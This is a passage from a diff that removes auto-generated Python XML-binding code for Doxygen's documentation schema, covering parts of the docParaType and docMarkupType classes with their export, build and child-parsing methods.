+ ':' if (UseCapturedNS_ and self.javadoccode_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sjavadoccode>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(javadoccode_), input_name='javadoccode')), namespaceprefix_ , eol_)) - for indexentry_ in self.indexentry: - namespaceprefix_ = self.indexentry_nsprefix_ + ':' if (UseCapturedNS_ and self.indexentry_nsprefix_) else '' - indexentry_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='indexentry', pretty_print=pretty_print) - for orderedlist_ in self.orderedlist: - namespaceprefix_ = self.orderedlist_nsprefix_ + ':' if (UseCapturedNS_ and self.orderedlist_nsprefix_) else '' - orderedlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='orderedlist', pretty_print=pretty_print) - for itemizedlist_ in self.itemizedlist: - namespaceprefix_ = self.itemizedlist_nsprefix_ + ':' if (UseCapturedNS_ and self.itemizedlist_nsprefix_) else '' - itemizedlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='itemizedlist', pretty_print=pretty_print) - for simplesect_ in self.simplesect: - namespaceprefix_ = self.simplesect_nsprefix_ + ':' if (UseCapturedNS_ and self.simplesect_nsprefix_) else '' - simplesect_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='simplesect', pretty_print=pretty_print) - for title_ in self.title: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - title_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='title', pretty_print=pretty_print) - for variablelist_ in self.variablelist: - namespaceprefix_ = self.variablelist_nsprefix_ + ':' if (UseCapturedNS_ and self.variablelist_nsprefix_) else '' - variablelist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='variablelist', pretty_print=pretty_print) - for table_ in self.table: - namespaceprefix_ = self.table_nsprefix_ + ':' if (UseCapturedNS_ and self.table_nsprefix_) else '' - table_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='table', pretty_print=pretty_print) - for heading_ in self.heading: - namespaceprefix_ = self.heading_nsprefix_ + ':' if (UseCapturedNS_ and self.heading_nsprefix_) else '' - heading_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='heading', pretty_print=pretty_print) - for dotfile_ in self.dotfile: - namespaceprefix_ = self.dotfile_nsprefix_ + ':' if (UseCapturedNS_ and self.dotfile_nsprefix_) else '' - dotfile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dotfile', pretty_print=pretty_print) - for mscfile_ in self.mscfile: - namespaceprefix_ = self.mscfile_nsprefix_ + ':' if (UseCapturedNS_ and self.mscfile_nsprefix_) else '' - mscfile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='mscfile', pretty_print=pretty_print) - for diafile_ in self.diafile: - namespaceprefix_ = self.diafile_nsprefix_ + ':' if (UseCapturedNS_ and self.diafile_nsprefix_) else '' - diafile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='diafile', pretty_print=pretty_print) - for toclist_ in self.toclist: - namespaceprefix_ = self.toclist_nsprefix_ + ':' if (UseCapturedNS_ and self.toclist_nsprefix_) else '' - toclist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='toclist', pretty_print=pretty_print) - for language_ in self.language: - namespaceprefix_ = self.language_nsprefix_ + ':' if (UseCapturedNS_ and self.language_nsprefix_) else '' - language_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='language', pretty_print=pretty_print) - for parameterlist_ in self.parameterlist: - namespaceprefix_ = self.parameterlist_nsprefix_ + ':' if (UseCapturedNS_ and self.parameterlist_nsprefix_) else '' - parameterlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parameterlist', pretty_print=pretty_print) - for xrefsect_ in self.xrefsect: - namespaceprefix_ = self.xrefsect_nsprefix_ + ':' if (UseCapturedNS_ and self.xrefsect_nsprefix_) else '' - xrefsect_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='xrefsect', pretty_print=pretty_print) - for copydoc_ in self.copydoc: - namespaceprefix_ = self.copydoc_nsprefix_ + ':' if (UseCapturedNS_ and self.copydoc_nsprefix_) else '' - copydoc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='copydoc', pretty_print=pretty_print) - for details_ in self.details: - namespaceprefix_ = self.details_nsprefix_ + ':' if (UseCapturedNS_ and self.details_nsprefix_) else '' - details_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='details', pretty_print=pretty_print) - for blockquote_ in self.blockquote: - namespaceprefix_ = self.blockquote_nsprefix_ + ':' if (UseCapturedNS_ and self.blockquote_nsprefix_) else '' - blockquote_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='blockquote', pretty_print=pretty_print) - for parblock_ in self.parblock: - namespaceprefix_ = self.parblock_nsprefix_ + ':' if (UseCapturedNS_ and self.parblock_nsprefix_) else '' - parblock_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parblock', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - elif nodeName_ == 'hruler': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'hruler', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_hruler'): - self.add_hruler(obj_.value) - elif hasattr(self, 'set_hruler'): - self.set_hruler(obj_.value) - elif nodeName_ == 'preformatted': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'preformatted', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_preformatted'): - self.add_preformatted(obj_.value) - elif hasattr(self, 'set_preformatted'): - self.set_preformatted(obj_.value) - elif nodeName_ == 'programlisting': - obj_ = listingType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'programlisting', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_programlisting'): - self.add_programlisting(obj_.value) - elif hasattr(self, 'set_programlisting'): - self.set_programlisting(obj_.value) - elif nodeName_ == 'verbatim' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'verbatim') - valuestr_ = self.gds_validate_string(valuestr_, node, 'verbatim') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'verbatim', valuestr_) - self.content_.append(obj_) - self.verbatim_nsprefix_ = child_.prefix - elif nodeName_ == 'javadocliteral' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'javadocliteral') - valuestr_ = self.gds_validate_string(valuestr_, node, 'javadocliteral') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'javadocliteral', valuestr_) - self.content_.append(obj_) - self.javadocliteral_nsprefix_ = child_.prefix - elif nodeName_ == 'javadoccode' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'javadoccode') - valuestr_ = self.gds_validate_string(valuestr_, node, 'javadoccode') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'javadoccode', valuestr_) - self.content_.append(obj_) - self.javadoccode_nsprefix_ = child_.prefix - elif nodeName_ == 'indexentry': - obj_ = docIndexEntryType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'indexentry', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_indexentry'): - self.add_indexentry(obj_.value) - elif hasattr(self, 'set_indexentry'): - self.set_indexentry(obj_.value) - elif nodeName_ == 'orderedlist': - obj_ = docListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'orderedlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_orderedlist'): - self.add_orderedlist(obj_.value) - elif hasattr(self, 'set_orderedlist'): - self.set_orderedlist(obj_.value) - elif nodeName_ == 'itemizedlist': - obj_ = docListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'itemizedlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_itemizedlist'): - self.add_itemizedlist(obj_.value) - elif hasattr(self, 'set_itemizedlist'): - self.set_itemizedlist(obj_.value) - elif nodeName_ == 'simplesect': - obj_ = docSimpleSectType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'simplesect', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_simplesect'): - self.add_simplesect(obj_.value) - elif hasattr(self, 'set_simplesect'): - self.set_simplesect(obj_.value) - elif nodeName_ == 'title': - obj_ = docTitleType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'title', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_title'): - self.add_title(obj_.value) - elif hasattr(self, 'set_title'): - self.set_title(obj_.value) - elif nodeName_ == 'variablelist': - obj_ = docVariableListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'variablelist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_variablelist'): - self.add_variablelist(obj_.value) - elif hasattr(self, 'set_variablelist'): - self.set_variablelist(obj_.value) - elif nodeName_ == 'table': - obj_ = docTableType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'table', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_table'): - self.add_table(obj_.value) - elif hasattr(self, 'set_table'): - self.set_table(obj_.value) - elif nodeName_ == 'heading': - obj_ = docHeadingType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'heading', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_heading'): - self.add_heading(obj_.value) - elif hasattr(self, 'set_heading'): - self.set_heading(obj_.value) - elif nodeName_ == 'dotfile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dotfile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dotfile'): - self.add_dotfile(obj_.value) - elif hasattr(self, 'set_dotfile'): - self.set_dotfile(obj_.value) - elif nodeName_ == 'mscfile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'mscfile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_mscfile'): - self.add_mscfile(obj_.value) - elif hasattr(self, 'set_mscfile'): - self.set_mscfile(obj_.value) - elif nodeName_ == 'diafile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'diafile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_diafile'): - self.add_diafile(obj_.value) - elif hasattr(self, 'set_diafile'): - self.set_diafile(obj_.value) - elif nodeName_ == 'toclist': - obj_ = docTocListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'toclist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_toclist'): - self.add_toclist(obj_.value) - elif hasattr(self, 'set_toclist'): - self.set_toclist(obj_.value) - elif nodeName_ == 'language': - obj_ = docLanguageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'language', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_language'): - self.add_language(obj_.value) - elif hasattr(self, 'set_language'): - self.set_language(obj_.value) - elif nodeName_ == 'parameterlist': - obj_ = docParamListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'parameterlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_parameterlist'): - self.add_parameterlist(obj_.value) - elif hasattr(self, 'set_parameterlist'): - self.set_parameterlist(obj_.value) - elif nodeName_ == 'xrefsect': - obj_ = docXRefSectType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'xrefsect', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_xrefsect'): - self.add_xrefsect(obj_.value) - elif hasattr(self, 'set_xrefsect'): - self.set_xrefsect(obj_.value) - elif nodeName_ == 'copydoc': - obj_ = docCopyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'copydoc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_copydoc'): - self.add_copydoc(obj_.value) - elif hasattr(self, 'set_copydoc'): - self.set_copydoc(obj_.value) - elif nodeName_ == 'details': - obj_ = docDetailsType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'details', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_details'): - self.add_details(obj_.value) - elif hasattr(self, 'set_details'): - self.set_details(obj_.value) - elif nodeName_ == 'blockquote': - obj_ = docBlockQuoteType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'blockquote', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_blockquote'): - self.add_blockquote(obj_.value) - elif hasattr(self, 'set_blockquote'): - self.set_blockquote(obj_.value) - elif nodeName_ == 'parblock': - obj_ = docParBlockType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'parblock', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_parblock'): - self.add_parblock(obj_.value) - elif hasattr(self, 'set_parblock'): - self.set_parblock(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docParaType - - -class docMarkupType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, hruler=None, preformatted=None, programlisting=None, verbatim=None, javadocliteral=None, javadoccode=None, indexentry=None, orderedlist=None, itemizedlist=None, simplesect=None, title=None, variablelist=None, table=None, heading=None, dotfile=None, mscfile=None, diafile=None, toclist=None, language=None, parameterlist=None, xrefsect=None, copydoc=None, details=None, blockquote=None, parblock=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if 